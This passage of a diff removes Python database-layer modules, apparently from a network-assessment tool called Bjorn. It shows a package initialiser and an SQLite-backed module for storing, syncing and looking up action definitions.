if hasattr(self._base, "_conn") and self._base._conn:
|
||||
self._base._conn.close()
|
||||
logger.info("BjornDatabase connection closed")
|
||||
except Exception as e:
|
||||
logger.debug(f"Error during database closure (ignorable if already closed): {e}")
|
||||
|
||||
# Removed __del__ as it can cause circular reference leaks and is not guaranteed to run.
|
||||
# Lifecycle should be managed by explicit close() calls.
|
||||
|
||||
# Internal helper methods used by modules
|
||||
def _table_exists(self, name: str) -> bool:
|
||||
return self._base._table_exists(name)
|
||||
|
||||
def _column_names(self, table: str) -> List[str]:
|
||||
return self._base._column_names(table)
|
||||
|
||||
def _ensure_column(self, table: str, column: str, ddl: str) -> None:
|
||||
return self._base._ensure_column(table, column, ddl)
|
||||
@@ -1,41 +0,0 @@
|
||||
"""__init__.py - Database utilities package."""
|
||||
|
||||
from .base import DatabaseBase
|
||||
from .config import ConfigOps
|
||||
from .hosts import HostOps
|
||||
from .actions import ActionOps
|
||||
from .queue import QueueOps
|
||||
from .vulnerabilities import VulnerabilityOps
|
||||
from .software import SoftwareOps
|
||||
from .credentials import CredentialOps
|
||||
from .services import ServiceOps
|
||||
from .scripts import ScriptOps
|
||||
from .stats import StatsOps
|
||||
from .backups import BackupOps
|
||||
from .comments import CommentOps
|
||||
from .agents import AgentOps
|
||||
from .studio import StudioOps
|
||||
from .webenum import WebEnumOps
|
||||
from .schedules import ScheduleOps
|
||||
from .packages import PackageOps
|
||||
|
||||
__all__ = [
|
||||
'DatabaseBase',
|
||||
'ConfigOps',
|
||||
'HostOps',
|
||||
'ActionOps',
|
||||
'QueueOps',
|
||||
'VulnerabilityOps',
|
||||
'SoftwareOps',
|
||||
'CredentialOps',
|
||||
'ServiceOps',
|
||||
'ScriptOps',
|
||||
'StatsOps',
|
||||
'BackupOps',
|
||||
'CommentOps',
|
||||
'AgentOps',
|
||||
'StudioOps',
|
||||
'WebEnumOps',
|
||||
'ScheduleOps',
|
||||
'PackageOps',
|
||||
]
|
||||
@@ -1,278 +0,0 @@
|
||||
"""actions.py - Action definition and management operations."""
|
||||
|
||||
import json
|
||||
import sqlite3
|
||||
from functools import lru_cache
|
||||
from typing import Any, Dict, List, Optional
|
||||
import logging
|
||||
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="db_utils.actions", level=logging.DEBUG)
|
||||
|
||||
|
||||
class ActionOps:
|
||||
"""Action definition and configuration operations"""
|
||||
|
||||
def __init__(self, base):
|
||||
self.base = base
|
||||
|
||||
def create_tables(self):
|
||||
"""Create actions table"""
|
||||
self.base.execute("""
|
||||
CREATE TABLE IF NOT EXISTS actions (
|
||||
b_class TEXT PRIMARY KEY,
|
||||
b_module TEXT NOT NULL,
|
||||
b_port INTEGER,
|
||||
b_status TEXT,
|
||||
b_parent TEXT,
|
||||
b_args TEXT,
|
||||
b_description TEXT,
|
||||
b_name TEXT,
|
||||
b_author TEXT,
|
||||
b_version TEXT,
|
||||
b_icon TEXT,
|
||||
b_docs_url TEXT,
|
||||
b_examples TEXT,
|
||||
b_action TEXT DEFAULT 'normal',
|
||||
b_service TEXT,
|
||||
b_trigger TEXT,
|
||||
b_requires TEXT,
|
||||
b_priority INTEGER DEFAULT 50,
|
||||
b_tags TEXT,
|
||||
b_timeout INTEGER DEFAULT 300,
|
||||
b_max_retries INTEGER DEFAULT 3,
|
||||
b_cooldown INTEGER DEFAULT 0,
|
||||
b_rate_limit TEXT,
|
||||
b_stealth_level INTEGER DEFAULT 5,
|
||||
b_risk_level TEXT DEFAULT 'medium',
|
||||
b_enabled INTEGER DEFAULT 1
|
||||
);
|
||||
""")
|
||||
logger.debug("Actions table created/verified")
|
||||
|
||||
# =========================================================================
|
||||
# ACTION CRUD OPERATIONS
|
||||
# =========================================================================
|
||||
|
||||
def sync_actions(self, actions):
|
||||
"""Sync action definitions to database"""
|
||||
if not actions:
|
||||
return
|
||||
|
||||
def _as_int(x, default=None):
|
||||
if x is None:
|
||||
return default
|
||||
if isinstance(x, (list, tuple)):
|
||||
x = x[0] if x else default
|
||||
try:
|
||||
return int(x)
|
||||
except Exception:
|
||||
return default
|
||||
|
||||
def _as_str(x, default=None):
|
||||
if x is None:
|
||||
return default
|
||||
if isinstance(x, (list, tuple, set, dict)):
|
||||
try:
|
||||
return json.dumps(list(x) if not isinstance(x, dict) else x, ensure_ascii=False)
|
||||
except Exception:
|
||||
return default
|
||||
return str(x)
|
||||
|
||||
def _as_json(x):
|
||||
if x is None:
|
||||
return None
|
||||
if isinstance(x, str):
|
||||
xs = x.strip()
|
||||
if (xs.startswith("{") and xs.endswith("}")) or (xs.startswith("[") and xs.endswith("]")):
|
||||
return xs
|
||||
return json.dumps(x, ensure_ascii=False)
|
||||
try:
|
||||
return json.dumps(x, ensure_ascii=False)
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
with self.base.transaction():
|
||||
for a in actions:
|
||||
# Normalize fields
|
||||
b_service = a.get("b_service")
|
||||
if isinstance(b_service, (list, tuple, set, dict)):
|
||||
b_service = json.dumps(list(b_service) if not isinstance(b_service, dict) else b_service, ensure_ascii=False)
|
||||
|
||||
b_tags = a.get("b_tags")
|
||||
if isinstance(b_tags, (list, tuple, set, dict)):
|
||||
b_tags = json.dumps(list(b_tags) if not isinstance(b_tags, dict) else b_tags, ensure_ascii=False)
|
||||
|
||||
b_trigger = a.get("b_trigger")
|
||||
if isinstance(b_trigger, (list, tuple, set, dict)):
|
||||
b_trigger = json.dumps(b_trigger, ensure_ascii=False)
|
||||
|
||||
b_requires = a.get("b_requires")
|
||||
if isinstance(b_requires, (list, tuple, set, dict)):
|
||||
b_requires = json.dumps(b_requires, ensure_ascii=False)
|
||||
|
||||
b_args_json = _as_json(a.get("b_args"))
|
||||
|
||||
# Enriched metadata
|
||||
b_name = _as_str(a.get("b_name"))
|
||||
b_description = _as_str(a.get("b_description"))
|
||||
b_author = _as_str(a.get("b_author"))
|
||||
b_version = _as_str(a.get("b_version"))
|
||||
b_icon = _as_str(a.get("b_icon"))
|
||||
b_docs_url = _as_str(a.get("b_docs_url"))
|
||||
b_examples = _as_json(a.get("b_examples"))
|
||||
|
||||
# Typed fields
|
||||
b_port = _as_int(a.get("b_port"))
|
||||
b_priority = _as_int(a.get("b_priority"), 50)
|
||||
b_timeout = _as_int(a.get("b_timeout"), 300)
|
||||
b_max_retries = _as_int(a.get("b_max_retries"), 3)
|
||||
b_cooldown = _as_int(a.get("b_cooldown"), 0)
|
||||
b_stealth_level = _as_int(a.get("b_stealth_level"), 5)
|
||||
b_enabled = _as_int(a.get("b_enabled"), 1)
|
||||
b_rate_limit = _as_str(a.get("b_rate_limit"))
|
||||
b_risk_level = _as_str(a.get("b_risk_level"), "medium")
|
||||
|
||||
self.base.execute("""
|
||||
INSERT INTO actions (
|
||||
b_class,b_module,b_port,b_status,b_parent,
|
||||
b_action,b_service,b_trigger,b_requires,b_priority,
|
||||
b_tags,b_timeout,b_max_retries,b_cooldown,b_rate_limit,
|
||||
b_stealth_level,b_risk_level,b_enabled,
|
||||
b_args,
|
||||
b_name, b_description, b_author, b_version, b_icon, b_docs_url, b_examples
|
||||
) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,
|
||||
?,?,?,?,?,?,?)
|
||||
ON CONFLICT(b_class) DO UPDATE SET
|
||||
b_module = excluded.b_module,
|
||||
b_port = COALESCE(excluded.b_port, actions.b_port),
|
||||
b_status = COALESCE(excluded.b_status, actions.b_status),
|
||||
b_parent = COALESCE(excluded.b_parent, actions.b_parent),
|
||||
b_action = COALESCE(excluded.b_action, actions.b_action),
|
||||
b_service = COALESCE(excluded.b_service, actions.b_service),
|
||||
b_trigger = COALESCE(excluded.b_trigger, actions.b_trigger),
|
||||
b_requires = COALESCE(excluded.b_requires, actions.b_requires),
|
||||
b_priority = COALESCE(excluded.b_priority, actions.b_priority),
|
||||
b_tags = COALESCE(excluded.b_tags, actions.b_tags),
|
||||
b_timeout = COALESCE(excluded.b_timeout, actions.b_timeout),
|
||||
b_max_retries = COALESCE(excluded.b_max_retries, actions.b_max_retries),
|
||||
b_cooldown = COALESCE(excluded.b_cooldown, actions.b_cooldown),
|
||||
b_rate_limit = COALESCE(excluded.b_rate_limit, actions.b_rate_limit),
|
||||
b_stealth_level = COALESCE(excluded.b_stealth_level, actions.b_stealth_level),
|
||||
b_risk_level = COALESCE(excluded.b_risk_level, actions.b_risk_level),
|
||||
-- Keep persisted enable/disable state from DB across restarts.
|
||||
b_enabled = actions.b_enabled,
|
||||
b_args = COALESCE(excluded.b_args, actions.b_args),
|
||||
b_name = COALESCE(excluded.b_name, actions.b_name),
|
||||
b_description = COALESCE(excluded.b_description, actions.b_description),
|
||||
b_author = COALESCE(excluded.b_author, actions.b_author),
|
||||
b_version = COALESCE(excluded.b_version, actions.b_version),
|
||||
b_icon = COALESCE(excluded.b_icon, actions.b_icon),
|
||||
b_docs_url = COALESCE(excluded.b_docs_url, actions.b_docs_url),
|
||||
b_examples = COALESCE(excluded.b_examples, actions.b_examples)
|
||||
""", (
|
||||
a.get("b_class"),
|
||||
a.get("b_module"),
|
||||
b_port,
|
||||
a.get("b_status"),
|
||||
a.get("b_parent"),
|
||||
a.get("b_action", "normal"),
|
||||
b_service,
|
||||
b_trigger,
|
||||
b_requires,
|
||||
b_priority,
|
||||
b_tags,
|
||||
b_timeout,
|
||||
b_max_retries,
|
||||
b_cooldown,
|
||||
b_rate_limit,
|
||||
b_stealth_level,
|
||||
b_risk_level,
|
||||
b_enabled,
|
||||
b_args_json,
|
||||
b_name,
|
||||
b_description,
|
||||
b_author,
|
||||
b_version,
|
||||
b_icon,
|
||||
b_docs_url,
|
||||
b_examples
|
||||
))
|
||||
|
||||
# Update action counter in stats
|
||||
action_count_row = self.base.query_one("SELECT COUNT(*) as cnt FROM actions WHERE b_enabled = 1")
|
||||
if action_count_row:
|
||||
try:
|
||||
self.base.execute("""
|
||||
UPDATE stats
|
||||
SET actions_count = ?
|
||||
WHERE id = 1
|
||||
""", (action_count_row['cnt'],))
|
||||
except sqlite3.OperationalError:
|
||||
# Column doesn't exist yet, add it
|
||||
self.base.execute("ALTER TABLE stats ADD COLUMN actions_count INTEGER DEFAULT 0")
|
||||
self.base.execute("""
|
||||
UPDATE stats
|
||||
SET actions_count = ?
|
||||
WHERE id = 1
|
||||
""", (action_count_row['cnt'],))
|
||||
|
||||
# Invalidate cache so callers immediately see fresh definitions
|
||||
type(self).get_action_definition.cache_clear()
|
||||
logger.info(f"Synchronized {len(actions)} actions")
|
||||
|
||||
def list_actions(self):
|
||||
"""List all action definitions ordered by class name"""
|
||||
return self.base.query("SELECT * FROM actions ORDER BY b_class;")
|
||||
|
||||
def list_studio_actions(self):
|
||||
"""List all studio action definitions"""
|
||||
return self.base.query("SELECT * FROM actions_studio ORDER BY b_class;")
|
||||
|
||||
def get_action_by_class(self, b_class: str) -> dict | None:
|
||||
"""Get action by class name"""
|
||||
rows = self.base.query("SELECT * FROM actions WHERE b_class=? LIMIT 1;", (b_class,))
|
||||
return rows[0] if rows else None
|
||||
|
||||
def delete_action(self, b_class: str) -> None:
|
||||
"""Delete action by class name"""
|
||||
self.base.execute("DELETE FROM actions WHERE b_class=?;", (b_class,))
|
||||
|
||||
def upsert_simple_action(self, *, b_class: str, b_module: str, **kw) -> None:
|
||||
"""Minimal upsert of an action by reusing sync_actions"""
|
||||
rec = {"b_class": b_class, "b_module": b_module}
|
||||
rec.update(kw)
|
||||
self.sync_actions([rec])
|
||||
|
||||
def list_action_cards(self) -> list[dict]:
|
||||
"""Lightweight descriptor of actions for card-based UIs"""
|
||||
rows = self.base.query("""
|
||||
SELECT b_class, COALESCE(b_enabled, 0) AS b_enabled
|
||||
FROM actions
|
||||
ORDER BY b_class;
|
||||
""")
|
||||
out = []
|
||||
for r in rows:
|
||||
cls = r["b_class"]
|
||||
enabled = int(r["b_enabled"])
|
||||
out.append({
|
||||
"name": cls,
|
||||
"image": f"/actions/actions_icons/{cls}.png",
|
||||
"enabled": enabled,
|
||||
})
|
||||
return out
|
||||
|
||||
@lru_cache(maxsize=32)
|
||||
def get_action_definition(self, b_class: str) -> Optional[Dict[str, Any]]:
|
||||
"""Cached lookup of an action definition by class name"""
|
||||
row = self.base.query("SELECT * FROM actions WHERE b_class=? LIMIT 1;", (b_class,))
|
||||
if not row:
|
||||
return None
|
||||
r = row[0]
|
||||
if r.get("b_args"):
|
||||
try:
|
||||
r["b_args"] = json.loads(r["b_args"])
|
||||
except Exception:
|
||||
pass
|
||||
return r
|
||||